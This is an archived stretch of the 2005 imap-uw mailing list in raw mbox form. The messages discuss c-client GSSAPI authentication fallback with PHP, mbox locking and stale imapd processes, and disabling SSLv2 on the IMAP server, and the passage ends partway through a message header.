j5SGODCp015087; Tue, 28 Jun 2005 09:24:13 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGLPL9014581 for ; Tue, 28 Jun 2005 09:21:25 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGLONS007922 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 28 Jun 2005 09:21:24 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGLNfl008077 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 28 Jun 2005 09:21:24 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SGLFhp020361 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 28 Jun 2005 09:21:23 -0700 Date: Tue, 28 Jun 2005 09:21:11 -0700 (PDT) From: Mark Crispin To: Erik Subject: Re: [Imap-uw] php_imap , c-client , GSSAPI bug In-Reply-To: <42C17728.5040001@columbia.edu> Message-ID: References: <42C02A96.9010607@columbia.edu> <42C17728.5040001@columbia.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 28 Jun 2005, Erik wrote: > One question I have is, why does the process default to using GSSAPI > when a username and pw is provided? There is no such thing as "providing a password" in the c-client library. c-client only obtains passwords on demand. Any user name provided to c-client is used by GSSAPI. The server verifies that the Kerberos credentials authenticated by c-client are allowed to use that user name. There is a mechanism in c-client to permit setting up administrative users that can log in as other users; the administrative user uses his credentials for GSSAPI and supplies the victim's user name as the name to log in. > And / or, if it wants to try using > GSSAPI, but that doesn't work, why doesn't it continue and try the plain > method? c-client does, but only SASL mechanisms; it never uses the LOGIN command if the server offers SASL mechanisms. So, if the server advertises GSSAPI and PLAIN, it will try GSSAPI first and then PLAIN. Perhaps there is something wrong in PHP that causes the problem. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Jun 28 12:36:59 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Jun 2005 12:36:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5SJawHJ017461 for ; Tue, 28 Jun 2005 12:36:58 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SJavKi010181 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Jun 2005 12:36:58 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SJZxR7010135; Tue, 28 Jun 2005 12:35:59 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SJZwtp010125 for ; Tue, 28 Jun 2005 12:35:58 -0700 Received: from mr1.ucalgary.ca (mr1.ucalgary.ca [136.159.34.165]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SJZv1e003689 for ; Tue, 28 Jun 2005 12:35:57 -0700 Received: from smtp1.ucalgary.ca (smtp1.ucalgary.ca [136.159.36.18]) by mr1.ucalgary.ca (Postfix) with ESMTP id 5F2427E8F for ; Tue, 28 Jun 2005 13:35:57 -0600 (MDT) Received: from [136.159.213.117] (pc117-213.admin.ucalgary.ca [136.159.213.117]) (authenticated (0 bits)) by smtp1.ucalgary.ca (8.11.7/8.11.6) with ESMTP id j5SJZsT06056 (using TLSv1/SSLv3 with cipher DHE-RSA-AES256-SHA (256 bits) verified NO) for ; Tue, 28 Jun 2005 13:35:56 -0600 Message-ID: <42C1A69A.8080200@ucalgary.ca> Date: Tue, 28 Jun 2005 13:35:54 -0600 From: Kai Wang User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-UCIT-MailScanner-Information: Please contact IT Help Desk at (403) 220-5555 for more information X-UCIT-MailScanner: Found to be clean X-UCIT-MailScanner-From: kwang@ucalgary.ca X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] How to find out what locking mechanism my uw-imapd is using? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, We are running imapd.2004a on redhat AS3. Some users found that they could not delete messages in their mbox. I found that this is caused by the old imapd process, which does not work but does not go away. It still exclusively opens the mbox file which makes other processes unable to access it. I suspect this is a mbox locking problem. I just read a document about the mbox locking. According th the document, if the softwares, which are dealing with mbox, are using multiple common locking mechanism, they must be used in the same order to avoid deadlocks. We are running postfix and procmail on our uw-imap servers. I checked the locking mechanism used in postfix and procmail. They are in different order. I don't know how to check what locking uw-imap is using such that I can identify which one mismatches. I wonder if anybody can help? Kai Wang University of Calgary _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Jun 28 13:33:39 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Jun 2005 13:33:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5SKXccB020269 for ; Tue, 28 Jun 2005 13:33:38 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SKXbPs010574 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Jun 2005 13:33:38 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SKXGoN016991; Tue, 28 Jun 2005 13:33:16 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SKX7JG016890 for ; Tue, 28 Jun 2005 13:33:07 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SKX7Mt003790 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 28 Jun 2005 13:33:07 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SKX6Kj029438 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 28 Jun 2005 13:33:06 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SKX6Sw009398 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 28 Jun 2005 13:33:06 -0700 Date: Tue, 28 Jun 2005 13:31:04 -0700 (Pacific Daylight Time) From: Mark Crispin To: Kai Wang Subject: Re: [Imap-uw] How to find out what locking mechanism my uw-imapd is using? In-Reply-To: <42C1A69A.8080200@ucalgary.ca> Message-ID: References: <42C1A69A.8080200@ucalgary.ca> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 28 Jun 2005, Kai Wang wrote: > We are running imapd.2004a on redhat AS3. Some users found that they could > not delete messages in their mbox. I found that this is caused by the old > imapd process, which does not work but does not go away. It still exclusively > opens the mbox file which makes other processes unable to access it. I > suspect this is a mbox locking problem. How do you know that the old imapd process "does not work"? Does it still have an open TCP/IP connection associated with it? I think that the most productive use of your time will be to ascertain how and why it "does not work". Identifying the cause of a problem, and addressing that cause, usually leads to better results than trying to repair an unknown problem with an unknown cause. > We are running postfix and procmail on our uw-imap servers. I checked the > locking mechanism used in postfix and procmail. They are in different order. > I don't know how to check what locking uw-imap is using such that I can > identify which one mismatches. I wonder if anybody can help? With traditional UNIX (mbox) format files, the only trustworthy form of locking is by the creation of a .lock file. Waits for .lock files expire after 5 minutes. imapd will also impose an flock() lock on the mailbox file. Both the .lock file and the flock() lock on the mailbox file are only when a program is in the physical act of reading or writing the mailbox file. The locks are released afterwards. Finally, Pine and imapd has a session lock (which postfix and procmail do not know about) between other Pine/imapd sessions. This uses flock() on specially-named files in the /tmp directory. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Jun 28 14:16:20 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Jun 2005 14:16:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5SLGK9x022322 for ; Tue, 28 Jun 2005 14:16:20 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SLGJK4013877 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Jun 2005 14:16:19 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SLG9vi022297; Tue, 28 Jun 2005 14:16:09 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SLG8Xk022289 for ; Tue, 28 Jun 2005 14:16:08 -0700 Received: from mr1.ucalgary.ca (mr1.ucalgary.ca [136.159.34.165]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5SLG7Wc011826 for ; Tue, 28 Jun 2005 14:16:07 -0700 Received: from smtp2.ucalgary.ca (smtp2.ucalgary.ca [136.159.36.19]) by mr1.ucalgary.ca (Postfix) with ESMTP id 4D85E7ED7; Tue, 28 Jun 2005 15:16:07 -0600 (MDT) Received: from [136.159.213.117] (pc117-213.admin.ucalgary.ca [136.159.213.117]) (authenticated (0 bits)) by smtp2.ucalgary.ca (8.11.7/8.11.6) with ESMTP id j5SLG5602067 (using TLSv1/SSLv3 with cipher DHE-RSA-AES256-SHA (256 bits) verified NO); Tue, 28 Jun 2005 15:16:06 -0600 Message-ID: <42C1BE15.80601@ucalgary.ca> Date: Tue, 28 Jun 2005 15:16:05 -0600 From: Kai Wang User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] How to find out what locking mechanism my uw-imapd is using? References: <42C1A69A.8080200@ucalgary.ca> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-UCIT-MailScanner-Information: Please contact IT Help Desk at (403) 220-5555 for more information X-UCIT-MailScanner: Found to be clean X-UCIT-MailScanner-From: kwang@ucalgary.ca X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I'm not sure if the tcp/ip connection is there. I'm not having such a problem at the moment because I kill imap processes older than 1 day everyday. The following case happened last Aug 9. [root@lms2 root]# ps -ef | grep mcpoon mcpoon 3026 625 0 Aug05 ? 00:00:03 imapd mcpoon 2412 625 0 09:30 ? 00:00:00 imapd mcpoon 3655 625 0 09:35 ? 00:00:00 imapd mcpoon 4395 625 0 09:39 ? 00:00:00 imapd root 4697 12507 0 09:40 pts/1 00:00:00 grep mcpoon [root@lms2 root]# lsof ~mcpoon/mbox COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME imapd 2412 mcpoon 3r REG 8,21 56304729 5029899 /fs201/mcpoon/mbox imapd 3026 mcpoon 4u REG 8,21 56304729 5029899 /fs201/mcpoon/mbox [root@lms2 root]# ls -al /tmp | grep mcpoon -rw-rw-rw- 1 mcpoon itmail 4 Aug 9 09:39 .815.4cc005 -rw-rw-rw- 1 mcpoon itmail 4 Aug 5 19:58 .815.4cc00b -rw-rw-rw- 1 mcpoon itmail 4 Aug 9 09:36 .815.4cc00c Kai Mark Crispin wrote: > On Tue, 28 Jun 2005, Kai Wang wrote: > >> We are running imapd.2004a on redhat AS3. Some users found that they >> could not delete messages in their mbox. I found that this is caused >> by the old imapd process, which does not work but does not go away. >> It still exclusively opens the mbox file which makes other processes >> unable to access it. I suspect this is a mbox locking problem. > > > How do you know that the old imapd process "does not work"? Does it > still have an open TCP/IP connection associated with it? > > I think that the most productive use of your time will be to ascertain > how and why it "does not work". Identifying the cause of a problem, > and addressing that cause, usually leads to better results than trying > to repair an unknown problem with an unknown cause. > >> We are running postfix and procmail on our uw-imap servers. I checked >> the locking mechanism used in postfix and procmail. They are in >> different order. I don't know how to check what locking uw-imap is >> using such that I can identify which one mismatches. I wonder if >> anybody can help? > > > With traditional UNIX (mbox) format files, the only trustworthy form > of locking is by the creation of a .lock file. Waits for .lock files > expire after 5 minutes. > > imapd will also impose an flock() lock on the mailbox file. > > Both the .lock file and the flock() lock on the mailbox file are only > when a program is in the physical act of reading or writing the > mailbox file. The locks are released afterwards. > > Finally, Pine and imapd has a session lock (which postfix and procmail > do not know about) between other Pine/imapd sessions. This uses > flock() on specially-named files in the /tmp directory. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Jun 29 06:10:19 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Jun 2005 06:10:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5TDAJeo009992 for ; Wed, 29 Jun 2005 06:10:19 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5TDAIQG012819 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 29 Jun 2005 06:10:18 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5TD9qSw027599; Wed, 29 Jun 2005 06:09:52 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5TD9p4s027591 for ; Wed, 29 Jun 2005 06:09:51 -0700 Received: from serrano.cc.columbia.edu (serrano.cc.columbia.edu [128.59.29.6]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5TD9otj027613 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 29 Jun 2005 06:09:51 -0700 Received: from [128.59.31.51] (oslo.cc.columbia.edu [128.59.31.51]) (user=ed2019 mech=PLAIN bits=0) by serrano.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id j5TD9mGl013175 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 29 Jun 2005 09:09:48 -0400 (EDT) Message-ID: <42C29D9B.2020505@columbia.edu> Date: Wed, 29 Jun 2005 09:09:47 -0400 From: Erik User-Agent: Debian Thunderbird 1.0.2 (X11/20050602) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] php_imap , c-client , GSSAPI bug References: <42C02A96.9010607@columbia.edu> <42C17728.5040001@columbia.edu> In-Reply-To: X-Enigmail-Version: 0.91.0.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-No-Spam-Score: Local X-Scanned-By: MIMEDefang 2.48 on 128.59.29.6 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi- I've posted this bug also to RedHat (Bug # 161826) and to bugs.php.net (33500). https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=161826 http://bugs.php.net/bug.php?id=33500 PHP (thus far) is denying responsibility. RedHat (thus far) suggests that php_imap should be fixed (add another flag in the function), but that also the c-client *should* be trying the other auth method as well. Thanks for everyone's help so far. thanks, Erik _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Jun 29 07:38:43 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Jun 2005 07:38:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5TEch62013659 for ; Wed, 29 Jun 2005 07:38:43 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5TEce5w006956 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 29 Jun 2005 07:38:40 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5TEcSfg000680; Wed, 29 Jun 2005 07:38:28 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5TEcShs000672 for ; Wed, 29 Jun 2005 07:38:28 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5TEcRCs009519 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 29 Jun 2005 07:38:27 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5TEcQ8V020074 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 29 Jun 2005 07:38:26 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5TEcCO8026724 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 29 Jun 2005 07:38:26 -0700 Date: Wed, 29 Jun 2005 07:38:11 -0700 (PDT) From: Mark Crispin To: Erik Subject: Re: [Imap-uw] php_imap , c-client , GSSAPI bug In-Reply-To: <42C29D9B.2020505@columbia.edu> Message-ID: References: <42C02A96.9010607@columbia.edu> <42C17728.5040001@columbia.edu> <42C29D9B.2020505@columbia.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 29 Jun 2005, Erik wrote: > PHP (thus far) is denying responsibility. RedHat (thus far) suggests > that php_imap should be fixed (add another flag in the function), but > that also the c-client *should* be trying the other auth method as well. I agree that c-client should try the other authentication method, but perhaps my definition of "should" is different. I don't mean "should" as in "should be fixed to"; I mean "should" as "it does already." I believe that the problem is in how PHP uses c-client. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jun 30 21:34:35 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Jun 2005 21:34:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j614YY0K028669 for ; Thu, 30 Jun 2005 21:34:34 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j614YXxF011966 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 30 Jun 2005 21:34:34 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j614YABL025024; Thu, 30 Jun 2005 21:34:10 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j614Y8CZ025016 for ; Thu, 30 Jun 2005 21:34:08 -0700 Received: from edison.ninevolt.com (adsl-216-102-222-198.dsl.snfc21.pacbell.net [216.102.222.198]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j614Y6ER032737 for ; Thu, 30 Jun 2005 21:34:06 -0700 Received: from [127.0.0.1] (localhost [127.0.0.1]) by edison.ninevolt.com (Postfix) with ESMTP id 8755917EE for ; Thu, 30 Jun 2005 21:34:02 -0700 (PDT) Message-ID: <42C4C7BE.6060708@ninevolt.com> Date: Thu, 30 Jun 2005 21:34:06 -0700 From: Andrew Voltmer User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Disable SSL v2 X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, I am looking for a solution to a security issue related to the WU-IMAP server. I have a security scanning tool that is reporting that my imapd daemon is doing SSL v2 over 993 on my IMAP server. It suggests that I need to disable SSL v2 to prevent any issues related to SSL v2 vulnerabilites. I know this was a major issue with Apache and ISS servers that did SSL v2 support so I assume it may also be an issue in an IMAP environment. Does anyone know a way to disable SSL v2 support in the WU-IMAP server? Thanks. Sincerely, Andy Voltmer voltmer@ninevolt.com _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jul 1 07:13:41 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 1 Jul 2005 07:13:41 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j61EDfNW026630 for ; Fri, 1 Jul 2005 07:13:41 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61EDeDr014425 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 1 Jul 2005 07:13:40 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61EDURq019561; Fri, 1 Jul 2005 07:13:30 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61EDUeH019553 for ; Fri, 1 Jul 2005 07:13:30 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j61EDTCI014417 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 1 Jul 2005 07:13:29 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP 